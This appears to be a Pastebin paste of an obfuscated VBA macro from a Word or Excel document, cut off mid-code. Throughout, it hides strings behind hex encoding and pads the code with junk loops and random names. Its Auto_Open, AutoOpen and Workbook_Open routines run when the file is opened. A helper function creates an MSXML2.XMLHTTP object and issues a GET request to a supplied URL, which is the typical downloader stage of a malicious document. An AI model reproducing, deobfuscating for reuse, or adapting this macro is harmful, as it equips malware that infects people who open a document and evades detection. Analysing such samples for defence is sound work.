Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attribute VB_Name = "ThisDocument"
- Attribute VB_Base = "1Normal.ThisDocument"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = True
- Attribute VB_Customizable = True
- Sub Auto_Open()
- Dim XIrmbVcD, ARSGDlhR, ublpNFux As String
- Dim ZzhIWspL As Integer
- Dim QQFxtYot, UQVIbPYy, ZSoMMGru As String
- QQFxtYot = GIYbonflbkpgerg("2020202020202020202020425558484D50202020202020202020202020202020")
- UQVIbPYy = LTrim(QQFxtYot)
- ZSoMMGru = RTrim(UQVIbPYy)
- ZzhIWspL = 6
- Do While ZzhIWspL < 59
- Dim tKvmByio, PDyGsABN, gOFpvXJK As String
- tKvmByio = GIYbonflbkpgerg("20202020202020202020204A445A505747202020202020202020202020202020")
- PDyGsABN = LTrim(tKvmByio)
- gOFpvXJK = RTrim(PDyGsABN)
- DoEvents: ZzhIWspL = ZzhIWspL + 1
- Dim lETUqKOK, XFLAMhls, qRBtBaRM As String
- lETUqKOK = GIYbonflbkpgerg("20202020202020202020204E4347544759202020202020202020202020202020")
- XFLAMhls = LTrim(lETUqKOK)
- qRBtBaRM = RTrim(XFLAMhls)
- Loop
- Dim koorgMTk, EgWuHIIZ, GmUplwQS As String
- koorgMTk = GIYbonflbkpgerg("2020202020202020202020464E434C504B202020202020202020202020202020")
- EgWuHIIZ = LTrim(koorgMTk)
- GmUplwQS = RTrim(EgWuHIIZ)
- XIrmbVcD = GIYbonflbkpgerg("20202020202020202020205943465A4C4A202020202020202020202020202020")
- Dim QaXpyegJ As Integer
- Dim pcPSbeZv, tvMVMuNb, avrpgscA As String
- pcPSbeZv = GIYbonflbkpgerg("2020202020202020202020514E4D565257202020202020202020202020202020")
- tvMVMuNb = LTrim(pcPSbeZv)
- avrpgscA = RTrim(tvMVMuNb)
- QaXpyegJ = 8
- Do While QaXpyegJ < 31
- Dim lOcvuMPA, VTtMlgAl, EnDgUOlq As String
- lOcvuMPA = GIYbonflbkpgerg("20202020202020202020204A5643545047202020202020202020202020202020")
- VTtMlgAl = LTrim(lOcvuMPA)
- EnDgUOlq = RTrim(VTtMlgAl)
- DoEvents: QaXpyegJ = QaXpyegJ + 1
- Dim VbyEngKl, dhsuTNrz, GAnagcSx As String
- VbyEngKl = GIYbonflbkpgerg("20202020202020202020204758455A434B202020202020202020202020202020")
- dhsuTNrz = LTrim(VbyEngKl)
- GAnagcSx = RTrim(dhsuTNrz)
- Loop
- Dim tuzUTlxT, eKTmEmzr, gVkctiyg As String
- tuzUTlxT = GIYbonflbkpgerg("20202020202020202020204E47474E4551202020202020202020202020202020")
- eKTmEmzr = LTrim(tuzUTlxT)
- gVkctiyg = RTrim(eKTmEmzr)
- ARSGDlhR = LTrim(XIrmbVcD)
- Dim MNASjMmF As Integer
- Dim fAtuVqNX, oZhlkgcC, rZbRSlWV As String
- fAtuVqNX = GIYbonflbkpgerg("2020202020202020202020445A54494842202020202020202020202020202020")
- oZhlkgcC = LTrim(fAtuVqNX)
- rZbRSlWV = RTrim(oZhlkgcC)
- MNASjMmF = 9
- Do While MNASjMmF < 23
- Dim bcsmoBhx, lFeyByTN, VOPndAxJ As String
- bcsmoBhx = GIYbonflbkpgerg("2020202020202020202020414558514E51202020202020202020202020202020")
- lFeyByTN = LTrim(bcsmoBhx)
- VOPndAxJ = RTrim(lFeyByTN)
- DoEvents: MNASjMmF = MNASjMmF + 1
- Dim wlxhOrev, VRQplASK, smJDcdVn As String
- wlxhOrev = GIYbonflbkpgerg("2020202020202020202020554548524A54202020202020202020202020202020")
- VRQplASK = LTrim(wlxhOrev)
- smJDcdVn = RTrim(VRQplASK)
- Loop
- Dim CZwuSEww, oIipgjvY, ulQCdlry As String
- CZwuSEww = GIYbonflbkpgerg("2020202020202020202020434E42445548202020202020202020202020202020")
- oIipgjvY = LTrim(CZwuSEww)
- ulQCdlry = RTrim(oIipgjvY)
- ublpNFux = RTrim(ARSGDlhR)
- Dim aogFvSXL As Integer
- Dim GDjdHTlv, QFnvqPJb, YFQPRFgn As String
- GDjdHTlv = GIYbonflbkpgerg("2020202020202020202020414951514450202020202020202020202020202020")
- QFnvqPJb = LTrim(GDjdHTlv)
- YFQPRFgn = RTrim(QFnvqPJb)
- aogFvSXL = 1
- Do While aogFvSXL < 34
- Dim QRWOLQrG, RWSlPKll, pHlGCdqp As String
- QRWOLQrG = GIYbonflbkpgerg("20202020202020202020205559464B4B52202020202020202020202020202020")
- RWSlPKll = LTrim(QRWOLQrG)
- pHlGCdqp = RTrim(RWSlPKll)
- DoEvents: aogFvSXL = aogFvSXL + 1
- Dim DFkYtfQl, hNYnFQmS, RHSrLxYm As String
- DFkYtfQl = GIYbonflbkpgerg("2020202020202020202020484644534150202020202020202020202020202020")
- hNYnFQmS = LTrim(DFkYtfQl)
- RHSrLxYm = RTrim(hNYnFQmS)
- Loop
- Dim VLGYaexu, pBAOZJnk, xtfSrTEZ As String
- VLGYaexu = GIYbonflbkpgerg("20202020202020202020204349494E4652202020202020202020202020202020")
- pBAOZJnk = LTrim(VLGYaexu)
- xtfSrTEZ = RTrim(pBAOZJnk)
- KFIDAXVLION
- End Sub
- Sub AutoOpen()
- Dim KbIJEeir, mQCQdnJc, OAzgksey As String
- Dim gThTotIj As Integer
- Dim RnqOGlZp, nAmWocNq, wARuEAcs As String
- RnqOGlZp = GIYbonflbkpgerg("2020202020202020202020584155585345202020202020202020202020202020")
- nAmWocNq = LTrim(RnqOGlZp)
- wARuEAcs = RTrim(nAmWocNq)
- gThTotIj = 4
- Do While gThTotIj < 58
- Dim maSkBRgi, fkZzHQEQ, LdqceumZ As String
- maSkBRgi = GIYbonflbkpgerg("2020202020202020202020424A4F4F5741202020202020202020202020202020")
- fkZzHQEQ = LTrim(maSkBRgi)
- LdqceumZ = RTrim(fkZzHQEQ)
- DoEvents: gThTotIj = gThTotIj + 1
- Dim lnKTtFac, XQubFsPJ, qAdrMCXb As String
- lnKTtFac = GIYbonflbkpgerg("202020202020202020202055594E535A43202020202020202020202020202020")
- XQubFsPJ = LTrim(lnKTtFac)
- qAdrMCXb = RTrim(XQubFsPJ)
- Loop
- Dim ZMXtcYRF, nTbKwIqd, SQsWVxfc As String
- ZMXtcYRF = GIYbonflbkpgerg("2020202020202020202020534F53534E4B202020202020202020202020202020")
- nTbKwIqd = LTrim(ZMXtcYRF)
- SQsWVxfc = RTrim(nTbKwIqd)
- KbIJEeir = GIYbonflbkpgerg("20202020202020202020204C59574A4654202020202020202020202020202020")
- Dim cRXilXDg As Integer
- Dim nAlBMEWR, wARqgIlT, kZFxIDHY As String
- nAlBMEWR = GIYbonflbkpgerg("20202020202020202020204C5A5352474F202020202020202020202020202020")
- wARqgIlT = LTrim(nAlBMEWR)
- kZFxIDHY = RTrim(wARqgIlT)
- cRXilXDg = 5
- Do While cRXilXDg < 31
- Dim tjyJralg, PsDsjxpy, EZRCiEbO As String
- tjyJralg = GIYbonflbkpgerg("20202020202020202020204A424C584353202020202020202020202020202020")
- PsDsjxpy = LTrim(tjyJralg)
- EZRCiEbO = RTrim(PsDsjxpy)
- DoEvents: cRXilXDg = cRXilXDg + 1
- Dim ojxhhVTO, cuZLmOJk, NkHDrunS As String
- ojxhhVTO = GIYbonflbkpgerg("20202020202020202020204D4A51574B4F202020202020202020202020202020")
- cuZLmOJk = LTrim(ojxhhVTO)
- NkHDrunS = RTrim(cuZLmOJk)
- Loop
- Dim UgoRFGsB, MmWUjZgp, KtvmgRMI As String
- UgoRFGsB = GIYbonflbkpgerg("2020202020202020202020474C4B424958202020202020202020202020202020")
- MmWUjZgp = LTrim(UgoRFGsB)
- KtvmgRMI = RTrim(MmWUjZgp)
- mQCQdnJc = LTrim(KbIJEeir)
- Dim EXKxgJzj As Integer
- Dim DzZJJQBm, IeSesHxw, RrXgYMMx As String
- DzZJJQBm = GIYbonflbkpgerg("20202020202020202020204E47484E4453202020202020202020202020202020")
- IeSesHxw = LTrim(DzZJJQBm)
- RrXgYMMx = RTrim(IeSesHxw)
- EXKxgJzj = 6
- Do While EXKxgJzj < 82
- Dim JWxBOZqK, xJtlXVeP, zSSGplMA As String
- JWxBOZqK = GIYbonflbkpgerg("202020202020202020202050465A4E444E202020202020202020202020202020")
- xJtlXVeP = LTrim(JWxBOZqK)
- zSSGplMA = RTrim(xJtlXVeP)
- DoEvents: EXKxgJzj = EXKxgJzj + 1
- Dim gUNAktLk, JKfwaZZS, yIlBufFm As String
- gUNAktLk = GIYbonflbkpgerg("2020202020202020202020525052504959202020202020202020202020202020")
- JKfwaZZS = LTrim(gUNAktLk)
- yIlBufFm = RTrim(JKfwaZZS)
- Loop
- Dim IDFogXfK, MLnsJPke, yBdglvmd As String
- IDFogXfK = GIYbonflbkpgerg("202020202020202020202047544946574E202020202020202020202020202020")
- MLnsJPke = LTrim(IDFogXfK)
- yBdglvmd = RTrim(MLnsJPke)
- OAzgksey = RTrim(mQCQdnJc)
- Dim WLrAQbdd As Integer
- Dim IybtjMtH, EuOjQVZJ, buLZyeBL As String
- IybtjMtH = GIYbonflbkpgerg("2020202020202020202020434A47554E4A202020202020202020202020202020")
- EuOjQVZJ = LTrim(IybtjMtH)
- buLZyeBL = RTrim(EuOjQVZJ)
- WLrAQbdd = 3
- Do While WLrAQbdd < 22
- Dim gSNPHKSE, LUItefEw, vEhbjImf As String
- gSNPHKSE = GIYbonflbkpgerg("2020202020202020202020474253505A47202020202020202020202020202020")
- LUItefEw = LTrim(gSNPHKSE)
- vEhbjImf = RTrim(LUItefEw)
- DoEvents: WLrAQbdd = WLrAQbdd + 1
- Dim HXBAMkrA, tSttBehp, UClBInVE As String
- HXBAMkrA = GIYbonflbkpgerg("202020202020202020202051554E41554C202020202020202020202020202020")
- tSttBehp = LTrim(HXBAMkrA)
- UClBInVE = RTrim(tSttBehp)
- Loop
- Dim bprWIOMK, cWUUYQnk, PalPibEZ As String
- bprWIOMK = GIYbonflbkpgerg("202020202020202020202051484855544D202020202020202020202020202020")
- cWUUYQnk = LTrim(bprWIOMK)
- PalPibEZ = RTrim(cWUUYQnk)
- Auto_Open
- End Sub
- Sub Workbook_Open()
- Dim YgCcigmM, KmOnOect, rnwEqJAg As String
- Dim bkNKnGlW As Integer
- Dim JnXfQbcU, DAubyRWO, IZjQbIlP As String
- JnXfQbcU = GIYbonflbkpgerg("20202020202020202020205A414E535059202020202020202020202020202020")
- DAubyRWO = LTrim(JnXfQbcU)
- IZjQbIlP = RTrim(DAubyRWO)
- bkNKnGlW = 6
- Do While bkNKnGlW < 52
- Dim OKgRxAnf, gDCBPCly, LIRmCkpC As String
- OKgRxAnf = GIYbonflbkpgerg("2020202020202020202020425A4C494B59202020202020202020202020202020")
- gDCBPCly = LTrim(OKgRxAnf)
- LIRmCkpC = RTrim(gDCBPCly)
- DoEvents: bkNKnGlW = bkNKnGlW + 1
- Dim YnZgGTGj, WjIKWjaB, cZCSRFPl As String
- YnZgGTGj = GIYbonflbkpgerg("202020202020202020202059584657544E202020202020202020202020202020")
- WjIKWjaB = LTrim(YnZgGTGj)
- cZCSRFPl = RTrim(WjIKWjaB)
- Loop
- Dim hJnoORMl, ACdsqkCR, FeBhDyaF As String
- hJnoORMl = GIYbonflbkpgerg("202020202020202020202059554146594A202020202020202020202020202020")
- ACdsqkCR = LTrim(hJnoORMl)
- FeBhDyaF = RTrim(ACdsqkCR)
- YgCcigmM = GIYbonflbkpgerg("2020202020202020202020464C53574B4F202020202020202020202020202020")
- Dim IjTmQYcL As Integer
- Dim eObNJQEl, BOOssHam, MPLcTMvw As String
- eObNJQEl = GIYbonflbkpgerg("2020202020202020202020495947544453202020202020202020202020202020")
- BOOssHam = LTrim(eObNJQEl)
- MPLcTMvw = RTrim(BOOssHam)
- IjTmQYcL = 7
- Do While IjTmQYcL < 34
- Dim YIlpblOw, bBqWjbVB, tMKhEMHH As String
- YIlpblOw = GIYbonflbkpgerg("202020202020202020202054494E544957202020202020202020202020202020")
- bBqWjbVB = LTrim(YIlpblOw)
- tMKhEMHH = RTrim(bBqWjbVB)
- DoEvents: IjTmQYcL = IjTmQYcL + 1
- Dim iKlaEJal, PeUWdgPD, BLDvkNXw As String
- iKlaEJal = GIYbonflbkpgerg("2020202020202020202020414746584642202020202020202020202020202020")
- PeUWdgPD = LTrim(iKlaEJal)
- BLDvkNXw = RTrim(PeUWdgPD)
- Loop
- Dim wUeBmnjX, UDGzXgly, MLAtvzxj As String
- wUeBmnjX = GIYbonflbkpgerg("202020202020202020202048444D4A4449202020202020202020202020202020")
- UDGzXgly = LTrim(wUeBmnjX)
- MLAtvzxj = RTrim(UDGzXgly)
- KmOnOect = LTrim(YgCcigmM)
- Dim JgsCCcZH As Integer
- Dim MoAJNIDi, HpQemDqo, QpWgGKIp As String
- MoAJNIDi = GIYbonflbkpgerg("2020202020202020202020524B484E4B51202020202020202020202020202020")
- HpQemDqo = LTrim(MoAJNIDi)
- QpWgGKIp = RTrim(HpQemDqo)
- JgsCCcZH = 9
- Do While JgsCCcZH < 15
- Dim oJWzujUx, FSZclQvf, UeliqKFJ As String
- oJWzujUx = GIYbonflbkpgerg("20202020202020202020204C53465A424D202020202020202020202020202020")
- FSZclQvf = LTrim(oJWzujUx)
- UeliqKFJ = RTrim(FSZclQvf)
- DoEvents: JgsCCcZH = JgsCCcZH + 1
- Dim ayxPkbTE, hXAgcqJs, KuHouIbT As String
- ayxPkbTE = GIYbonflbkpgerg("20202020202020202020204A5351594C43202020202020202020202020202020")
- hXAgcqJs = LTrim(ayxPkbTE)
- KuHouIbT = RTrim(hXAgcqJs)
- Loop
- Dim vKMYRsGV, xEclZfwc, IOpwrzvI As String
- vKMYRsGV = GIYbonflbkpgerg("2020202020202020202020505551424549202020202020202020202020202020")
- xEclZfwc = LTrim(vKMYRsGV)
- IOpwrzvI = RTrim(xEclZfwc)
- rnwEqJAg = RTrim(KmOnOect)
- Dim eBrnFfuX As Integer
- Dim TbSpbBCF, nnXwMrmG, xnyUgiKH As String
- TbSpbBCF = GIYbonflbkpgerg("202020202020202020202058415750544C202020202020202020202020202020")
- nnXwMrmG = LTrim(TbSpbBCF)
- xnyUgiKH = RTrim(nnXwMrmG)
- eBrnFfuX = 2
- Do While eBrnFfuX < 33
- Dim XMgSyPXS, AGXulyFR, myDKpdei As String
- XMgSyPXS = GIYbonflbkpgerg("20202020202020202020204446564C5652202020202020202020202020202020")
- AGXulyFR = LTrim(XMgSyPXS)
- myDKpdei = RTrim(AGXulyFR)
- DoEvents: eBrnFfuX = eBrnFfuX + 1
- Dim WcekfYMN, ofoXlkyI, QvcHeGGz As String
- WcekfYMN = GIYbonflbkpgerg("2020202020202020202020444D41434A4E202020202020202020202020202020")
- ofoXlkyI = LTrim(WcekfYMN)
- QvcHeGGz = RTrim(ofoXlkyI)
- Loop
- Dim MJYXFKMw, uClBhYCY, tIWQfIZt As String
- MJYXFKMw = GIYbonflbkpgerg("2020202020202020202020575552554956202020202020202020202020202020")
- uClBhYCY = LTrim(MJYXFKMw)
- tIWQfIZt = RTrim(uClBhYCY)
- Auto_Open
- End Sub
- Function ICWLJKSEKJP(ByVal IIGBLNIRYMI As String, ByVal DUBGHDQFXFU As String) As Boolean
- Dim SXGGPOLSDDD As Object, CKPQMFCIQUE As Long, ZYCJDCPOEMK As Long, NPJUFXTFFIE() As Byte
- Dim qrIjkSJR, utKZSJgT, zyzFuWSY As String
- Dim BmdKsnEt As Integer
- Dim splIAzLp, iqZMWujq, eqSyhqFs As String
- splIAzLp = GIYbonflbkpgerg("2020202020202020202020534C51585457202020202020202020202020202020")
- iqZMWujq = LTrim(splIAzLp)
- eqSyhqFs = RTrim(iqZMWujq)
- BmdKsnEt = 1
- Do While BmdKsnEt < 36
- Dim jNvXOegN, XXukXcyK, GdCzDRww As String
- jNvXOegN = GIYbonflbkpgerg("2020202020202020202020434A45424444202020202020202020202020202020")
- XXukXcyK = LTrim(jNvXOegN)
- GdCzDRww = RTrim(XXukXcyK)
- DoEvents: BmdKsnEt = BmdKsnEt + 1
- Dim SLmNMIIT, gtOLEykB, EWGcIJEU As String
- SLmNMIIT = GIYbonflbkpgerg("202020202020202020202048484758584D202020202020202020202020202020")
- gtOLEykB = LTrim(SLmNMIIT)
- EWGcIJEU = RTrim(gtOLEykB)
- Loop
- Dim HJWQCqHp, FZccWdxI, NIpnxNbL As String
- HJWQCqHp = GIYbonflbkpgerg("20202020202020202020204C55515A5355202020202020202020202020202020")
- FZccWdxI = LTrim(HJWQCqHp)
- NIpnxNbL = RTrim(FZccWdxI)
- qrIjkSJR = GIYbonflbkpgerg("202020202020202020202053484C444E44202020202020202020202020202020")
- Dim tSouiwLi As Integer
- Dim biGWUIRS, moBuzDzF, joolwJbG As String
- biGWUIRS = GIYbonflbkpgerg("20202020202020202020204C4B435A4951202020202020202020202020202020")
- moBuzDzF = LTrim(biGWUIRS)
- joolwJbG = RTrim(moBuzDzF)
- tSouiwLi = 2
- Do While tSouiwLi < 92
- Dim HZkcflRQ, wcNKnGwZ, alUdDpfm As String
- HZkcflRQ = GIYbonflbkpgerg("2020202020202020202020505442535A57202020202020202020202020202020")
- wcNKnGwZ = LTrim(HZkcflRQ)
- alUdDpfm = RTrim(wcNKnGwZ)
- DoEvents: tSouiwLi = tSouiwLi + 1
- Dim crfbAIhl, SMlrUlAa, gtIVjJpm As String
- crfbAIhl = GIYbonflbkpgerg("20202020202020202020205A5155415641202020202020202020202020202020")
- SMlrUlAa = LTrim(crfbAIhl)
- gtIVjJpm = RTrim(SMlrUlAa)
- Loop
- Dim BgyKQFWz, qmKWdAVd, oywIqERQ As String
- BgyKQFWz = GIYbonflbkpgerg("2020202020202020202020564C4A595958202020202020202020202020202020")
- qmKWdAVd = LTrim(BgyKQFWz)
- oywIqERQ = RTrim(qmKWdAVd)
- utKZSJgT = LTrim(qrIjkSJR)
- Dim XOCybTQb As Integer
- Dim nAMbQlps, wArStcUd, kZfVbZtf As String
- nAMbQlps = GIYbonflbkpgerg("20202020202020202020204C5A424B5045202020202020202020202020202020")
- wArStcUd = LTrim(nAMbQlps)
- kZfVbZtf = RTrim(wArStcUd)
- XOCybTQb = 3
- Do While XOCybTQb < 29
- Dim GofQJarn, mrXyrwWl, BNEAkJDp As String
- GofQJarn = GIYbonflbkpgerg("20202020202020202020205A514C515A4C202020202020202020202020202020")
- mrXyrwWl = LTrim(GofQJarn)
- BNEAkJDp = RTrim(mrXyrwWl)
- DoEvents: XOCybTQb = XOCybTQb + 1
- Dim JlThqWil, lRMpWlJD, ImBDNrew As String
- JlThqWil = GIYbonflbkpgerg("20202020202020202020204B454D525441202020202020202020202020202020")
- lRMpWlJD = LTrim(JlThqWil)
- ImBDNrew = RTrim(lRMpWlJD)
- Loop
- Dim kUiJWkfq, RDMMxyjw, HMYCBMmY As String
- kUiJWkfq = GIYbonflbkpgerg("2020202020202020202020555A4B545151202020202020202020202020202020")
- RDMMxyjw = LTrim(kUiJWkfq)
- HMYCBMmY = RTrim(RDMMxyjw)
- zyzFuWSY = RTrim(utKZSJgT)
- Dim vwUdprZs As Integer
- Dim BfQgXbyp, MgXnjEEq, HgyDPIas As String
- BfQgXbyp = GIYbonflbkpgerg("2020202020202020202020595757534859202020202020202020202020202020")
- MgXnjEEq = LTrim(BfQgXbyp)
- HgyDPIas = RTrim(MgXnjEEq)
- vwUdprZs = 8
- Do While vwUdprZs < 77
- Dim SzrYYUSc, kCSaLzRh, CKlwucwu As String
- SzrYYUSc = GIYbonflbkpgerg("202020202020202020202041554649434F202020202020202020202020202020")
- kCSaLzRh = LTrim(SzrYYUSc)
- CKlwucwu = RTrim(kCSaLzRh)
- DoEvents: vwUdprZs = vwUdprZs + 1
- Dim iVOCtgvY, PpVJFSiN, BNrmMclI As String
- iVOCtgvY = GIYbonflbkpgerg("2020202020202020202020414B584D5A51202020202020202020202020202020")
- PpVJFSiN = LTrim(iVOCtgvY)
- BNrmMclI = RTrim(PpVJFSiN)
- Loop
- Dim lCZdwuxn, kIyBlozN, RFKzWCyp As String
- lCZdwuxn = GIYbonflbkpgerg("202020202020202020202049505A485659202020202020202020202020202020")
- kIyBlozN = LTrim(lCZdwuxn)
- RFKzWCyp = RTrim(kIyBlozN)
- Set SXGGPOLSDDD = CreateObject(GIYbonflbkpgerg("4D53584D4C322E584D4C48545450"))
- SXGGPOLSDDD.Open GIYbonflbkpgerg("474554"), IIGBLNIRYMI, False
- Dim WjWtlXwJ, bsZnTjfO, tiqWLStn As String
- Dim FIRAoPVu As Integer
- Dim nZPloKsD, wEWREXOF, kEtHVauG As String
- nZPloKsD = GIYbonflbkpgerg("20202020202020202020204D5A4D465848202020202020202020202020202020")
- wEWREXOF = LTrim(nZPloKsD)
- kEtHVauG = RTrim(wEWREXOF)
- FIRAoPVu = 8
- Do While FIRAoPVu < 47
- Dim GprRgbya, InWhyYmR, fxZPladx As String
- GprRgbya = GIYbonflbkpgerg("20202020202020202020204F584B484556202020202020202020202020202020")
- InWhyYmR = LTrim(GprRgbya)
- fxZPladx = RTrim(InWhyYmR)
- DoEvents: FIRAoPVu = FIRAoPVu + 1
- Dim rLlylHEL, YtINzfsf, WWFEuBcX As String
- rLlylHEL = GIYbonflbkpgerg("2020202020202020202020424846424956202020202020202020202020202020")
- YtINzfsf = LTrim(rLlylHEL)
- WWFEuBcX = RTrim(YtINzfsf)
- Loop
- Dim VWrtezYP, qaHiTHOW, oQlMEKhm As String
- VWrtezYP = GIYbonflbkpgerg("2020202020202020202020434F48534745202020202020202020202020202020")
- qaHiTHOW = LTrim(VWrtezYP)
- oQlMEKhm = RTrim(qaHiTHOW)
- WjWtlXwJ = GIYbonflbkpgerg("202020202020202020202054464F574848202020202020202020202020202020")
- Dim CYprmAet As Integer
- Dim zVziWLBc, CVslgVxb, LBxTOzMn As String
- zVziWLBc = GIYbonflbkpgerg("20202020202020202020205544454F4748202020202020202020202020202020")
- CVslgVxb = LTrim(zVziWLBc)
- LBxTOzMn = RTrim(CVslgVxb)
- CYprmAet = 1
- Do While CYprmAet < 29
- Dim dewlNUwm, KVrFdzfd, PgMbroZH As String
- dewlNUwm = GIYbonflbkpgerg("2020202020202020202020574B4150575A202020202020202020202020202020")
- KVrFdzfd = LTrim(dewlNUwm)
- PgMbroZH = RTrim(KVrFdzfd)
- DoEvents: CYprmAet = CYprmAet + 1
- Dim eRGYCamx, kmWqeSYt, MYptSphb As String
- eRGYCamx = GIYbonflbkpgerg("20202020202020202020204A5657524F51202020202020202020202020202020")
- kmWqeSYt = LTrim(eRGYCamx)
- MYptSphb = RTrim(kmWqeSYt)
- Loop
- Dim ZCzwWbLJ, GeFbxdXz, aonZBaNs As String
- ZCzwWbLJ = GIYbonflbkpgerg("20202020202020202020204450474D5147202020202020202020202020202020")
- GeFbxdXz = LTrim(ZCzwWbLJ)
- aonZBaNs = RTrim(GeFbxdXz)
- bsZnTjfO = LTrim(WjWtlXwJ)
- Dim eBylhxki As Integer
- Dim oRnfEwqS, tRPbVnIF, NTMQlRyG As String
- oRnfEwqS = GIYbonflbkpgerg("2020202020202020202020514547515954202020202020202020202020202020")
- tRPbVnIF = LTrim(oRnfEwqS)
- NTMQlRyG = RTrim(tRPbVnIF)
- eBylhxki = 2
- Do While eBylhxki < 61
- Dim wZxjPjvb, NcrSCQhj, TlSuqyio As String
- wZxjPjvb = GIYbonflbkpgerg("20202020202020202020204254414F464D202020202020202020202020202020")
- NcrSCQhj = LTrim(wZxjPjvb)
- TlSuqyio = RTrim(NcrSCQhj)
- DoEvents: eBylhxki = eBylhxki + 1
- Dim NmVCokMr, ZTsJKGEc, JwkmVnGy As String
- NmVCokMr = GIYbonflbkpgerg("20202020202020202020204352454D5253202020202020202020202020202020")
- ZTsJKGEc = LTrim(NmVCokMr)
- JwkmVnGy = RTrim(ZTsJKGEc)
- Loop
- Dim rdWMKswl, eVvYHfaK, grqOlzte As String
- rdWMKswl = GIYbonflbkpgerg("20202020202020202020204E4B53595049202020202020202020202020202020")
- eVvYHfaK = LTrim(rdWMKswl)
- grqOlzte = RTrim(eVvYHfaK)
- tiqWLStn = RTrim(bsZnTjfO)
- Dim GYUwpYjT As Integer
- Dim dUaitQsZ, oUqlbGIR, rIwTMMyT As String
- dUaitQsZ = GIYbonflbkpgerg("20202020202020202020204454454F4D53202020202020202020202020202020")
- oUqlbGIR = LTrim(dUaitQsZ)
- rIwTMMyT = RTrim(oUqlbGIR)
- GYUwpYjT = 8
- Do While GYUwpYjT < 47
- Dim SuTTNbdH, jzdadMrI, XCWwnhWb As String
- SuTTNbdH = GIYbonflbkpgerg("2020202020202020202020494D59485756202020202020202020202020202020")
- jzdadMrI = LTrim(SuTTNbdH)
- XCWwnhWb = RTrim(jzdadMrI)
- DoEvents: GYUwpYjT = GYUwpYjT + 1
- Dim ffFYiKYA, HbenJhhX, thorXaAR As String
- ffFYiKYA = GIYbonflbkpgerg("2020202020202020202020524E42534542202020202020202020202020202020")
- HbenJhhX = LTrim(ffFYiKYA)
- thorXaAR = RTrim(HbenJhhX)
- Loop
- Dim bkoVwnyt, QcWaVfph, PovFXhGF As String
- bkoVwnyt = GIYbonflbkpgerg("2020202020202020202020514D4B494247202020202020202020202020202020")
- QcWaVfph = LTrim(bkoVwnyt)
- PovFXhGF = RTrim(QcWaVfph)
- SXGGPOLSDDD.Send GIYbonflbkpgerg("70484A47626A6B76")
- Dim VgwHlLYl, AbOPzjhF, GhGguzAx As String
- Dim PtvolSWy As Integer
- Dim JOakAWYX, DOqEXBrC, IPmGjrAV As String
- JOakAWYX = GIYbonflbkpgerg("20202020202020202020205A595A46544A202020202020202020202020202020")
- DOqEXBrC = LTrim(JOakAWYX)
- IPmGjrAV = RTrim(DOqEXBrC)
- PtvolSWy = 8
- Do While PtvolSWy < 94
- Dim PMJMMgef, gHvguOMt, MQyOltSC As String
- PMJMMgef = GIYbonflbkpgerg("20202020202020202020204E455547454E202020202020202020202020202020")
- gHvguOMt = LTrim(PMJMMgef)
- MQyOltSC = RTrim(gHvguOMt)
- DoEvents: PtvolSWy = PtvolSWy + 1
- Dim PhkAisWt, VtctdCuD, njSBXmHu As String
- PhkAisWt = GIYbonflbkpgerg("202020202020202020202049484F5A4648202020202020202020202020202020")
- VtctdCuD = LTrim(PhkAisWt)
- njSBXmHu = RTrim(VtctdCuD)
- Loop
- Dim CuWatAvl, odUrYgAE, mlluoeTF As String
- CuWatAvl = GIYbonflbkpgerg("2020202020202020202020434751504847202020202020202020202020202020")
- odUrYgAE = LTrim(CuWatAvl)
- mlluoeTF = RTrim(odUrYgAE)
- VgwHlLYl = GIYbonflbkpgerg("2020202020202020202020584E474A494E202020202020202020202020202020")
- Dim jcMbONYl As Integer
- Dim AasxbOJp, xzwOMDgq, leTWgKSs As String
- AasxbOJp = GIYbonflbkpgerg("20202020202020202020204D4749485251202020202020202020202020202020")
- xzwOMDgq = LTrim(AasxbOJp)
- leTWgKSs = RTrim(xzwOMDgq)
- jcMbONYl = 4
- Do While jcMbONYl < 29
- Dim EtoliTuj, oaJGmaBi, FXvpIwHN As String
- EtoliTuj = GIYbonflbkpgerg("2020202020202020202020434F485A5049202020202020202020202020202020")
- oaJGmaBi = LTrim(EtoliTuj)
- FXvpIwHN = RTrim(oaJGmaBi)
- DoEvents: jcMbONYl = jcMbONYl + 1
- Dim MRfFGASW, xHZIvVwh, QYIdRPUV As String
- MRfFGASW = GIYbonflbkpgerg("20202020202020202020204D4F51484D4A202020202020202020202020202020")
- xHZIvVwh = LTrim(MRfFGASW)
- QYIdRPUV = RTrim(xHZIvVwh)
- Loop
- Dim ZtfQtQHa, nGJveDwb, SWEARAbP As String
- ZtfQtQHa = GIYbonflbkpgerg("20202020202020202020205346575A4857202020202020202020202020202020")
- nGJveDwb = LTrim(ZtfQtQHa)
- SWEARAbP = RTrim(nGJveDwb)
- AbOPzjhF = LTrim(VgwHlLYl)
- Dim wHHFRWXx As Integer
- Dim jHGlfNjH, sJBYItFJ, iKoKeoqL As String
- jHGlfNjH = GIYbonflbkpgerg("2020202020202020202020474F4347424D202020202020202020202020202020")
- sJBYItFJ = LTrim(jHGlfNjH)
- iKoKeoqL = RTrim(sJBYItFJ)
- wHHFRWXx = 5
- Do While wHHFRWXx < 71
- Dim oaSgsPAS, zkEBzJHh, UdqmhsIu As String
- oaSgsPAS = GIYbonflbkpgerg("20202020202020202020204C4A4F494145202020202020202020202020202020")
- zkEBzJHh = LTrim(oaSgsPAS)
- UdqmhsIu = RTrim(zkEBzJHh)
- DoEvents: wHHFRWXx = wHHFRWXx + 1
- Dim HTlnagSn, twbryNVo, UUFVGcUE As String
- HTlnagSn = GIYbonflbkpgerg("202020202020202020202051425041504B202020202020202020202020202020")
- twbryNVo = LTrim(HTlnagSn)
- UUFVGcUE = RTrim(twbryNVo)
- Loop
- Dim UakmCzQf, LurcbGGc, JKUpcJmC As String
- UakmCzQf = GIYbonflbkpgerg("20202020202020202020204753434C4445202020202020202020202020202020")
- LurcbGGc = LTrim(UakmCzQf)
- JKUpcJmC = RTrim(LurcbGGc)
- GhGguzAx = RTrim(AbOPzjhF)
- Dim PulYQUhx As Integer
- Dim ZCAlodmO, cCQTZjKP, lVWJCwhQ As String
- ZCAlodmO = GIYbonflbkpgerg("20202020202020202020204D534847584E202020202020202020202020202020")
- cCQTZjKP = LTrim(ZCAlodmO)
- lVWJCwhQ = RTrim(cCQTZjKP)
- PulYQUhx = 1
- Do While PulYQUhx < 94
- Dim qlWEwjnO, GgEBIQln, ITlObKUr As String
